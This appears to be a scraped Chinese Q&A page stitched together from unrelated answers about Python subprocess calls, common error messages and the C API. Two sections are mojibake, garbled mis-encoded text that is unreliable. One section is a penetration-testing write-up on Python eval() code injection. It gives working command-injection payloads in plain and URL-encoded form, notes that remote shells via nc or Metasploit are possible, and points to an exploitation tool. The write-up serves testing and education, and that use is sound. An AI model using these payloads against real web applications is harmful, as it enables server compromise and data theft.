pythoncheckcall
⑴ 鍑虹幇TypeError: only size-1 arrays can be converted to python scalars
铡熷洜锛氭槸锲犱负灏戜简涓涓鍙傛暟钬渊钬濓纴鎶婂弬鏁扳渊钬濆姞涓婂幓灏卞彲浠ヤ简銆
Python镄勫熀链璇娉曪细
Python镄勮捐$洰镙囦箣涓鏄璁╀唬镰佸叿澶囬珮搴︾殑鍙阒呰绘с傚畠璁捐℃椂灏介噺浣跨敤鍏跺畠璇瑷缁忓父浣跨敤镄勬爣镣圭﹀彿鍜岃嫳鏂囧崟瀛楋纴璁╀唬镰佺湅璧锋潵鏁存磥缇庤伞傚畠涓嶅儚鍏朵粬镄勯润镐佽瑷濡侰銆丳ascal闾f牱闇瑕侀吨澶崭功鍐椤0鏄庤鍙ワ纴涔熶笉镀忓畠浠镄勮娉曢偅镙风粡甯告湁鐗规畩𨱍呭喌鍜屾剰澶栥
Python寮鍙戣呮湁镒忚╄缭鍙崭简缂╄繘瑙勫垯镄勭▼搴忎笉鑳介氲繃缂栬疟锛屼互姝ゆ潵寮哄埗绋嫔簭锻桦吇鎴愯坛濂界殑缂栫▼涔犳傥銆傚苟涓摈ython璇瑷鍒╃敤缂╄繘琛ㄧず璇鍙ュ潡镄勫紑濮嫔拰阃鍑猴纸Off-side瑙勫垯锛夛纴钥岄潪浣跨敤鑺辨嫭鍙锋垨钥呮煇绉嶅叧阌瀛椼
澧炲姞缂╄繘琛ㄧず璇鍙ュ潡镄勫紑濮嬶纴钥屽噺灏戠缉杩涘垯琛ㄧず璇鍙ュ潡镄勯鍑恒傜缉杩涙垚涓轰简璇娉旷殑涓閮ㄥ垎銆
镓╁𪾢璧勬枡锛
搴旂敤锛
1銆佺郴缁熺紪绋嬶细鎻愪緵API锛圆pplication Programming Interface搴旂敤绋嫔簭缂栫▼鎺ュ彛锛夛纴鑳芥柟渚胯繘琛岀郴缁熺淮鎶ゅ拰绠$悊锛孡inux涓嬫爣蹇楁ц瑷涔嬩竴锛屾槸寰埚氱郴缁熺$悊锻樼悊𨱍崇殑缂栫▼宸ュ叿銆
2銆佸浘褰㈠勭悊锛氭湁PIL銆乀kinter绛夊浘褰㈠簱鏀鎸侊纴鑳芥柟渚胯繘琛屽浘褰㈠勭悊銆
3銆佹暟瀛﹀勭悊锛歂umPy镓╁𪾢鎻愪緵澶ч噺涓庤稿氭爣鍑嗘暟瀛﹀簱镄勬帴鍙c
4銆佹枃链澶勭悊锛歱ython鎻愪緵镄剅e妯″潡鑳芥敮鎸姝e垯琛ㄨ揪寮锛岃缮鎻愪緵SGML锛孹ML鍒嗘瀽妯″潡锛岃稿氱▼搴忓憳鍒╃敤python杩涜孹ML绋嫔簭镄勫紑鍙戙
5銆佹暟鎹搴撶紪绋嬶细绋嫔簭锻桦彲阃氲繃阆靛惊Python DB-API锛堟暟鎹搴揿簲鐢ㄧ▼搴忕紪绋嬫帴鍙o级瑙勮寖镄勬ā鍧椾笌Microsoft sql Server锛孙racle锛孲ybase锛娈B2锛孧ySQL銆丼QLite绛夋暟鎹搴挞氢俊銆俻ython镊甯︽湁涓涓狦adfly妯″潡锛屾彁渚涗简涓涓瀹屾暣镄凷QL鐜澧冦
鍙傝冭祫鏂欐潵婧愶细锏惧害锏剧-Python
⑵ python 怎么启动一个外部命令程序,并且不阻塞当前进程
在Python中,我们通过标准库中的subprocess包来fork一个子进程,并运行一个外部的程序。
使用subprocess包中的函数创建子进程的时候,要注意:
1) 在创建子进程之后,父进程是否暂停,并等待子进程运行。
2) 函数返回什么
3) 当returncode不为0时,父进程如何处理。
subprocess.call()
父进程等待子进程完成
返回退出信息
subprocess.check_call()
父进程等待子进程完成
返回0
检查退出信息,如果returncode不为0,则举出错误subprocess.CalledProcessError,该对象包含有returncode属性,可用try...except...来检查。
subprocess.check_output()
父进程等待子进程完成
返回子进程向标准输出的输出结果
检查退出信息,如果returncode不为0,则举出错误subprocess.CalledProcessError,该对象包含有returncode属性和output属性,output属性为标准输出的输出结果,可用try...except...来检查。
这三个函数的使用方法相类似,我们以subprocess.call()来说明:
importsubprocess
rc=subprocess.call(["ls","-l"])
实际上,我们上面的三个函数都是基于Popen()的封装(wrapper)。这些封装的目的在于让我们容易使用子进程。当我们想要更个性化我们的需求的时候,就要转向Popen类,该类生成的对象用来代表子进程。
与上面的封装不同,Popen对象创建后,主程序不会自动等待子进程完成。我们必须调用对象的wait()方法,父进程才会等待 (也就是阻塞block):
importsubprocess
child=subprocess.Popen(["ping","-c","5","www.google.com"])
child.wait()
print("parentprocess")
此外,你还可以在父进程中对子进程进行其它操作,比如我们上面例子中的child对象:
child.poll() # 检查子进程状态
child.kill() # 终止子进程
child.send_signal()# 向子进程发送信号
child.terminate() # 终止子进程
因此,如果不希望当前进程被阻塞,你可以使用Popen对象进行操作。
⑶ 如何使用python查找网站漏洞
如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。
为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。
因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:
1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。具体代码如下所示:
__import__('os').popen('COMMAND').read()
为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。
搭建一个包含漏洞的服务器
为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示:
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:
1. Web应用接受用户输入(例如GET/POST参数,cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码:
\
大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。
不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在。
自动扫描漏洞
为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后,我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的。
这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞,那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的。
当你搭建好测试环境之后,启动并运行包含漏洞的示例应用。接下来,使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示:
\
下图显示的是Burp在扫描这个漏洞时所使用的Payload:
\
我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后,服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回。但我要提醒大家的是,这种基于时间的漏洞检查机制通常会存在一定的误报。
将PoC升级成漏洞利用代码
使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了,应该还有很多其他的函数同样可以实现我们的目标。
因为eval()函数只能对表达式进行处理,因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法。当然了,我们也可以使用其他的方法来实现,例如使用全局函数“__import__”。关于这部分内容请查阅参考资料:[参考资料1][参考资料2]
下面这个Payload应该可以适用于绝大多数的场景:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了。实现代码如下所示:
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中,有时全局函数“__import__”会不起作用。在这种情况下,我们就要使用for循环了。相关代码如下所示:
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数,那么你就可以直接在浏览器中利用这个漏洞了:
\
请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外,你也可以直接使用我们所开发的工具。
如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具。如下图所示,我在subprocess.check_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到,它跟sqlmap一样使用起来非常的简单。除此之外,它的使用方法跟sqlmap基本相同。
⑷ python新手常见的报错有哪些
1.NameError变量名错误
报错:
>>> print a
Traceback (most recent call last):
File "<stdin>", line 1, in <mole>
NameError: name 'a' is not defined
解决方案:
先要给a赋值。才能使用它。在实际编写代码过程中,报NameError错误时,查看该变量是否赋值,或者是否有大小写不一致错误,或者说不小心将变量名写错了。
注:在Python中,无需显示变量声明语句,变量在第一次被赋值时自动声明。
>>> a=1
>>> print a
1
2.IndentationError代码缩进错误
代码:
a=1
b=2
if a<b:
print a
报错:
IndentationError: expected an indented block
原因:
缩进有误,python的缩进非常严格,行首多个空格,少个空格都会报错。这是新手常犯的一个错误,由于不熟悉python编码规则。像def,class,if,for,while等代码块都需要缩进。
缩进为四个空格宽度,需要说明一点,不同的文本编辑器中制表符(tab键)代表的空格宽度不一,如果代码需要跨平台或跨编辑器读写,建议不要使用制表符。
解决方案:
a=1
b=2
if a<b:
print a
3.AttributeError对象属性错误
报错:
>>> import sys
>>> sys.Path
Traceback (most recent call last):
File "<stdin>", line 1, in <mole>
AttributeError: 'mole' object has no attribute 'Path'
原因:
sys模块没有Path属性。
解决方案:
python对大小写敏感,Path和path代表不同的变量。将Path改为path即可。
>>> sys.path
['', '/usr/lib/python2.6/site-packages']
python知识拓展:
使用dir函数查看某个模块的属性
>>> dir(sys)
['__displayhook__', '__doc__', '__egginsert', '__excepthook__', '__name__', '__package__', '__plen', '__stderr__', '__stdin__', '__stdout__', '_clear_type_cache', '_current_frames', '_getframe', 'api_version', 'argv', 'builtin_mole_names', 'byteorder', 'call_tracing', 'callstats', 'right', 'displayhook', 'dont_write_bytecode', 'exc_clear', 'exc_info', 'exc_type', 'excepthook', 'exec_prefix', 'executable', 'exit', 'flags', 'float_info', 'getcheckinterval', 'getdefaultencoding', 'getdlopenflags', 'getfilesystemencoding', 'getprofile', 'getrecursionlimit', 'getrefcount', 'getsizeof', 'gettrace', 'hexversion', 'maxint', 'maxsize', 'maxunicode', 'meta_path', 'moles', 'path', 'path_hooks', 'path_importer_cache', 'platform', 'prefix', 'ps1', 'ps2', 'py3kwarning', 'setcheckinterval', 'setdlopenflags', 'setprofile', 'setrecursionlimit', 'settrace', 'stderr', 'stdin', 'stdout', 'subversion', 'version', 'version_info', 'warnoptions']
4.TypeError类型错误
4.1入参类型错误
代码:
t=('a','b','c')
for i in range(t):
print a[i]
报错:
TypeError: range() integer end argument expected, got tuple.
原因:
range()函数期望的入参是整型(integer),但却给的入参为元组(tuple)
解决方案:
将入参元组t改为元组个数整型len(t)
将range(t)改为range(len(t))
⑸ Python C API浣跨敤镞堕渶瑕佹敞镒忎粈涔
涓锛氱敤C API涓篜ython鍐机璇瑷鍑芥暟锛屼互鏂逛究Python涓璋幂敤
1. 棣栧厛瀹炵幇涓涓鐗瑰畾铡熷瀷镄勫嚱鏁帮纴鐢≒ython C API𨱒ュ疄鐜扮殑璇濓纴镓链夊嚱鏁板繀椤绘槸杩欑嶅师鍨嬨傚繀椤绘槸绫讳技杩欐牱镄
PyObject *Fun(PyObject *self, PyObject *args)
self搴旇ユ槸鍦ㄧ敤绫荤殑镞跺欐墠浼氱敤鍒帮纸鎴戞病链夌敤鍒帮级锛宎rgs灏辨槸鍑芥暟镄勫弬鏁般傚洜涓篴rgs鏄涓涓狿yObject*绫诲瀷锛埚彲浠ヤ唬琛≒ython璇瑷涓镄勪换浣旷被鍨嬶级
2. 灏嗗弬鏁拌浆鎹㈡垚C 璇瑷琛ㄧず镄勫唴瀹癸纴鐢≒yArg_ParseTuple鍑芥暟銆
3. 镓ц屽畬闇瑕佺殑镎崭綔钖庯纴涔熷繀椤昏繑锲炰竴涓狿yObject*绫诲瀷镄勫笺傞氲繃Py_BuildValue鍑芥暟𨱒ユ瀯寤恒
杩欓噷瑕佽寸殑鏄锛屽亣濡傚笇链涜繑锲炰竴涓猅uple绫诲瀷镄勫硷纴鍙浠ュ厛鐢
PyObject *tuple = Py_BuildValue("(iis)", 1, 2, "three");
褰㈠纺𨱒ユ瀯寤猴纴锅囧傚緢澶氱殑璇濓纴鍙浠ョ敤涓嬮溃镄勬柟寮忔潵鏋勫缓
PyObject *t;
t = PyTuple_New(3);
PyTuple_SetItem(t, 0, PyLong_FromLong(1L));
PyTuple_SetItem(t, 1, PyLong_FromLong(2L));
PyTuple_SetItem(t, 2, PyString_FromString("three"));
杩欎竴镣瑰湪鍒氩紑濮嫔紑宸ョ殑镞跺栾糠𨱍戜简寰堜箙銆
4. 灏呜佽緭鍑虹殑镓链夊嚱鏁版斁鍏ヤ竴涓鏁扮粍涓锛屾暟缁勭殑缁撴瀯鏄锛
struct PyMethodDef {
const char *ml_name; /* The name of the built-in function/method */
PyCFunction ml_meth; /* The C function that implements it */
int ml_flags; /* Combination of METH_xxx flags, which mostly
describe the args expected by the C func */
const char *ml_doc; /* The __doc__ attribute, or NULL */
};
鏁扮粍浠{NULL, NULL}缁撴潫
5. 鏋勯犱竴涓狿ython import镞跺埯濮嫔寲镄勫嚱鏁
绫讳技
PyMODINIT_FUNC
initexample(void)
{
Py_InitMole("example", example_methods);
}
杩欓噷链変釜鐗瑰埆闇瑕佹敞镒忕殑鏄锛屽埯濮嫔寲鍑芥暟钖嶅瓧链変弗镙艰佹眰锛宨nit钖庨溃蹇呴’璺熸ā鍧楀悕锛屽惁鍒橮ython镓句笉鍒扮‘瀹氱殑鍑芥暟浼氭姤娌℃湁鍒濆嫔寲鍑芥暟镄勯敊璇
镓╁𪾢妯″潡鍐椤畬钖庯纴缂栬疟鎴愬姩镐佸簱锛圥ython瑕佹眰姝ゅ姩镐佸簱钖嶅瓧涓簆yd,瀹为檯灏辨槸鏀逛釜钖庣紑钥屽凡锛夈傚氨鍙浠ョ洿鎺ュ湪Python鑴氭湰涓鐢╥mport镄勬柟寮忓姞杞戒简锛屽逛簬浣跨敤𨱒ヨ达纴镙规湰涓嶉渶瑕佺煡阆撴ゅ簱鏄鐢– API镓╁𪾢鍐欑殑杩樻槸鐩存帴鐢≒ython璇鍙ュ啓镄勶纸杩欑偣Lua锅氱殑涔熸槸涓镙峰ソ锛
链钖庯纴python镄勬簮浠g爜涓闄勫甫浜嗕竴涓鍙锅欤xample_nt镄勪緥瀛愶纴鍙浠ュ弬钥冧竴镙凤纴瀹屾暣镄勬墿灞曚唬镰佸备笅锛
#include "Python.h"
static PyObject *
ex_foo(PyObject *self, PyObject *args)
{
printf("Hello, world/n");
Py_INCREF(Py_None);
return Py_None;
}
static PyMethodDef example_methods[] = {
{"foo", ex_foo, METH_VARARGS, "foo() doc string"},
{NULL, NULL}
};
PyMODINIT_FUNC
initexample(void)
{
Py_InitMole("example", example_methods);
}
浜岋紟C璇瑷涓璋幂敤Python璇鍙
棣栧厛锛寁oid Py_Initialize()鐢ㄦ潵鍒濆嫔寲锛寁oid Py_Finalize()鐢ㄦ潵缁撴潫Python镄勮皟鐢锛岃繖鏄蹇呴’瑕佺殑銆
鐕幂伀鍒嗕袱绉嶆儏鍐碉纴锅囧备粎浠呮槸鍑犳浔璇鍙ョ殑璇濓纴闾d箞浠PyRun_涓哄墠缂镄勪竴浜涘嚱鏁伴兘寰埚ソ鐢锛屾瘆濡
int PyRun_SimpleString(const char *command)
鍑芥暟灏卞彲浠ョ洿鎺ユ墽琛屼竴𨱒char*镄凯ython璇鍙ャ
闇瑕佽幏寰楄繑锲炲煎缑璇
PyObject* PyRun_String(const char *str, int start, PyObject *globals, PyObject *locals)
涔熷緢濂界敤锛屼互涓娄袱涓鍑芥暟鐢ㄦ潵澶勭悊Python婧愪唬镰佸凡缁忚诲叆鍐呭瓨镄勬儏鍐碉纴鍦ㄦ枃浠朵腑镄勬椂鍊
int PyRun_SimpleFile(FILE *fp, const char *filename)
PyObject* PyRun_File(FILE *fp, const char *filename, int start, PyObject *globals, PyObject *locals)
浣跨敤绫讳技銆备笉澶氲蹭简銆
锅囧傛槸涓妯″潡镄勮瘽锛堟瘆濡备竴涓鍑芥暟锛夛纴甯屾湜鍦–璇瑷涓璋幂敤镄勮瘽闾d箞浣跨敤璧锋潵灏辩◢寰澶嶆潅浜嗕竴镣广傝繖绉嶆儏鍐电殑闇瑕佸湪浜庝綘鍙浠ヤ粠C璇瑷涓钖慞ython鍑芥暟涓浼犲叆鍙傛暟骞朵笖镓ц岋纴铹跺悗銮峰彇缁撴灉銆
姝ゅ勫张鍒嗕负鍑犵嶆儏鍐碉细
鍦ㄦ枃浠朵腑锛屽湪鍐呭瓨涓锛岀紪璇戣繃镄勶纴婧愪唬镰併
鍦ㄦ枃浠朵腑閮藉緢濂借В鍐筹纴鍜屼笂闱涓镙枫傝繖閲屼富瑕佽插湪鍐呭瓨涓镄勬儏鍐点傦纸浜嫔疄涓婃垜宸ヤ綔涓闇瑕佸苟涓旇楄垂浜嗗緢闀挎椂闂存墠镓惧埌瑙e喅鏂规硶镄勫氨鏄杩欑嶆儏鍐碉级
链缂栬疟镞讹细锛堜篃灏辨槸婧愪唬镰侊级
1.阃氲繃
PyObject* Py_CompileString(const char *str, const char *filename, int start)
API棣栧厛缂栬疟涓娆°傛API镄勫弬鏁版垜璇存槑涓涓嬶纴str灏辨槸鍐呭瓨涓镄勬簮浠g爜锛宖ilename涓昏佹槸鍑洪敊镞舵姤阌栾鐢ㄧ殑锛屼簨瀹炴祴璇曡瘉鏄庯纴浣犻殢镒忕粰涓瀛楃︿覆涔熸病链夊叧绯伙纴浣嗙粰NULL鍙傛暟鍦ㄨ繍琛屾椂蹇呯劧鎶ラ敊銆俿tart鎴戜竴鑸鐢ㄧ殑鏄疨y_file_input锛屽洜涓虹殑纭鏄浠庢枃浠朵腑璇诲彇杩囨潵镄勶纴鐩稿圭殑杩樻湁Py_single_input鐢ㄦ潵琛ㄧず涓𨱒¤鍙ワ纴Py_eval_input镄勭敤娉曟垜涔熶笉鏄澶娓呮氥
婧愪唬镰侀氲繃姝ゅ嚱鏁拌皟鐢ㄥ悗锛岃幏寰楃紪璇戝悗镄凯yObject*,锛埚叾瀹炲亣濡傝窡杩涙簮浠g爜涓铡荤湅锛屾槸涓涓狿yCodeObject缁撴瀯锛夊亣璁惧懡钖崭负lpCode銆
2.姝ゆ椂鍐嶈皟鐢ˋPI
PyObject* PyImport_ExecCodeMole(char *name, PyObject *co)
瀵煎叆妯″潡銆傚弬鏁颁篃璇存槑涓涓嬶纴name涓哄煎叆镄勬ā鍧楀悕锛宑o灏辨槸鍓嶉溃缂栬疟杩囩殑浠g爜瀵硅薄锛坙pCode锛夈傝繑锲炵殑灏辨槸妯″潡瀵硅薄浜嗭纴锅囱惧懡钖崭负lpMod銆
3.鍐嶈皟鐢ˋPI
PyObject* PyObject_GetAttrString(PyObject *o, const char *attr_name)
銮峰缑鍑芥暟瀵硅薄銆俹灏辨槸妯″潡瀵硅薄锛坙pMod锛,attr_name灏辨槸浣犳兂瑕佽皟鐢ㄧ殑鍑芥暟钖崭简锛屽亣璁惧彨main镄勫嚱鏁帮纴灏辨槸钬漨ain钬濓纴铹跺悗杩斿洖镄勫氨鏄鍑芥暟瀵硅薄锛屽亣璁惧懡钖崭负lpFun銆
4.姝ゆ椂鍙浠ョ敤API
int PyCallable_Check(PyObject *o)
铡绘镆ヤ竴涓嬫槸涓嶆槸銮峰缑浜嗕竴涓鍑芥暟銆傚亣濡傜‘瀹氱殑璇濓纴灏卞彲浠ョ洿鎺ョ敤
PyObject_Call寮澶寸殑涓镞忓嚱鏁拌皟鐢╨pFun浜嗐傝繖浜涘嚱鏁板寘𨰾寰埚氾纴涓鑸灏辨槸杈揿叆鍙傛暟镄勪笉钖岋纴浣嗘槸鏁堟灉閮芥槸涓镙风殑锛屽氨鏄璋幂敤鍑芥暟钥屽凡銆傚弬鏁颁竴鑸鍙浠ラ氲繃鍓嶉溃璇磋繃镄刡uild鍑芥暟𨱒ヨ幏寰楋纴杩斿洖鍊间篃鏄銮峰缑涓涓狿yObject*,鍙浠ラ氲繃PyArg_闾d釜鍑芥暟𨱒ヨ幏鍙栵纴浣嗘槸濂藉儚涓嶅お濂斤纴闾f槸鍒嗘瀽鍙傛暟鐢ㄧ殑銆傛帹钻愮敤纭瀹氱被鍨嬶纸锅囱句负type锛夌殑绫讳技Py[type]_As镄勫嚱鏁版潵銮峰彇銆
姣斿傦细
long PyLong_AsLong(PyObject *pylong)銮峰彇long
double PyLong_AsDouble(PyObject *pylong)銮峰彇double
杩欓噷𨱍宠寸殑鏄锛屽簲璇ユ湁鐩存帴浠庢簮浠g爜涓銮峰彇鍑芥暟璋幂敤瀵硅薄镄勬柟寮忥纴浣嗘槸鎴戞湰浜烘病链夎瘯鍑烘潵锛屾湁浜虹煡阆撹蜂竴瀹氲祼鏁欙紒
缂栬疟杩囩殑浠g爜锛
瀵逛簬缂栬疟杩囩殑浠g爜鍜屼笂闱㈠氨鏄銮峰缑缂栬疟钖庣殑PyCodeObject瀵硅薄,褰撶劧鍦ㄦ簮浠g爜涓琛ㄧず杩樻槸PyObject*镄勬柟娉曚笉钖岋纸涓娄緥涓镄刲pCode锛夈
褰撶劧瑕佹兂浠ュ悗銮峰缑涓涓缂栬疟钖庣殑lpCode,镊铹惰佸厛缂栬疟涓涓嫔暒銆备絾鏄绾绮圭紪璇戞垚pyc缁揿熬镄勬枃浠跺悗锛岀洿鎺ヨ诲叆鍐呭瓨锛屾垜娌℃湁镓惧埌灏嗗叾杞鍖栦负PyCodeObject瀵硅薄镄勬柟娉曪纸涔熷笇链涙湁浜虹煡阆撹兘锻婅瘔鎴戯紒锛
鎴戞垒鍒扮殑鏂规硶鏄鍏堢敤
PyObject* PyMarshal_WriteObjectToString(PyObject *value, int version)
void PyMarshal_WriteLongToFile(long value, FILE *file, int version)
涓や釜鍑芥暟鍏堟妸PyCodeObject瀵硅薄(lpCode)搴忓垪鍖栧埌鏂囦欢鎴栬呭唴瀛树腑銆
鍐嶅湪闇瑕佺殑镞跺欑敤鍑芥暟
PyObject* PyMarshal_ReadObjectFromFile(FILE *file)
PyObject* PyMarshal_ReadObjectFromString(char *string, Py_ssize_t len)
璇诲嚭𨱒ワ纴璇诲嚭𨱒ョ殑PyObject*鍏跺疄灏辨槸𨱍宠佺殑PyCodeObject瀵硅薄浜(lpCode)銆傛帴涓嬫潵镄勬ラや笌链缂栬疟镞剁殑姝ラや竴镙枫
鍏夋槸杩欎釜镓镟茬殑鏂规硶鎴戣缮鏄鍙傝冭佹荤粰镄勫崐杈硅祫鏂椤弽澶岖爷绌跺嚭𨱒ョ殑銆傝岀湡姝g洿鎺ユ湁鏁堢殑鏂规硶鎴戣缮鏄娌℃湁镓惧埌銆
⑹ python shell怎么使用
Python 中执行 Shell 命令有多种方法,stackoverflow 上有对这些方法进行比较的讨论,Calling an external command in Python 指出使用subprocess模块来实现更优。因此,本文说明如何使用subprocess模块来实现 Shell 脚本的功能。
subprocess模块提供多种方法来实现执行 Linux 的命令,例如subprocess.call()方法,subprocess.check_call()方法,等。这些方法都是对Popen类的封装,故本文着重讲述Popen类的使用。
执行 Shell 命令
可以通过向Popen()传递需要执行的命令来创建一个Popen对象,这样,便会创建一个子进程来执行命令。例如:
child = subprocess.Popen(["ping","-c","5","leehao.me"])
1
上面的代码会创建一个子进程来执行ping -c 5 leehao.me命令,这个命令采用列表的形式传递给Popen()方法。如果我们想直接采用ping -c 5 leehao.me字符串形式,可以添加shell=True来实现:
child = subprocess.Popen("ping -c 5 leehao.me", shell=True)
1
官方文档指出由于安全原因故不建议使用shell=True,详细说明可以参考官方文档的描述。
等待子进程执行
子进程执行命令后,主进程并不会等待子进程执行。为了让主进程等待子进程执行结束,需要显示调用Popen.wait()方法。例如:
child = subprocess.Popen(["ping","-c","5","leehao.me"])
child.wait()
print 'parent finish'
1
2
3
这样,主进程会等待子进程执行ping命令完毕后,才会打印出parent finish的输出。
获取执行结果
为了获取Popen()子进程的输出,可以使用Popen.communicate()方法,例如:
def subprocess_cmd(command):
process = subprocess.Popen(command,stdout=subprocess.PIPE, shell=True)
proc_stdout = process.communicate()[0].strip()
print proc_stdout
subprocess_cmd('echo leehao.me; echo www.leehao.me')
1
2
3
4
5
6
输出:
leehao.me
www.leehao.me
process.communicate()方法可以实现主进程与子进程的通信。主进程可以通过它向子进程发送数据,也可以读取子进程的输出的数据。上面的例子中,我们在创建Popen对象时指定stdout=subprocess.PIPE,这样主进程便可以读取子进程的输出。
communicate()方法返回一个元组:(stdoutdata, stderrdata),process.communicate()[0]即获取子进程的标准输出。
需要指出的是,调用communicate()方法后,主进程也会等待子进程执行完毕。
上面的例子中,子进程向标准输出打印两个字符串,主进程接收到了这些输出,并打印出来。